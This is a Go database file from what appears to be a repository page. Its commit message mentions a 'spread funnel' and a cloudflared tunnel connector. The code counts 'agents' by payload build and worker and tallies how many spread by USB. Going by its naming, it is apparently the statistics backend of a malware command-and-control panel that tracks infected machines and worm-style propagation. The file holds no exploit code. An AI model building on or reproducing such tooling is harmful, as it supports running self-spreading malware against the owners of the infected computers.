Add runtime comrade account, null-safe spread funnel API/UI, server-started cloudflared connector with Calibrate token field and builtin fallback, and simplify LAUNCH to delegate tunnel startup to AetherForge.
53 lines
1.4 KiB
Go
53 lines
1.4 KiB
Go
package db
|
|
|
|
import "time"
|
|
|
|
type SpreadFunnelRow struct {
|
|
BuildID string `json:"build_id"`
|
|
WorkerName string `json:"worker_name"`
|
|
Count int `json:"count"`
|
|
USBSpread int `json:"usb_spread_count"`
|
|
}
|
|
|
|
type SpreadFunnelStats struct {
|
|
ByBuild []SpreadFunnelRow `json:"by_build"`
|
|
NewConnectsToday int `json:"new_connects_today"`
|
|
TotalAgents int `json:"total_agents"`
|
|
}
|
|
|
|
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
|
|
stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}}
|
|
|
|
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
|
|
return nil, err
|
|
}
|
|
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
rows, err := d.Query(`
|
|
SELECT COALESCE(NULLIF(build_id,''), 'unknown') AS build_id,
|
|
COALESCE(NULLIF(worker_name,''), name) AS worker_name,
|
|
COUNT(*) AS cnt,
|
|
SUM(CASE WHEN usb_spread = 1 THEN 1 ELSE 0 END) AS usb_cnt
|
|
FROM agents
|
|
WHERE created_at >= ?
|
|
GROUP BY build_id, worker_name
|
|
ORDER BY cnt DESC`,
|
|
since,
|
|
)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer rows.Close()
|
|
|
|
for rows.Next() {
|
|
var r SpreadFunnelRow
|
|
if err := rows.Scan(&r.BuildID, &r.WorkerName, &r.Count, &r.USBSpread); err != nil {
|
|
return nil, err
|
|
}
|
|
stats.ByBuild = append(stats.ByBuild, r)
|
|
}
|
|
return stats, rows.Err()
|
|
}
|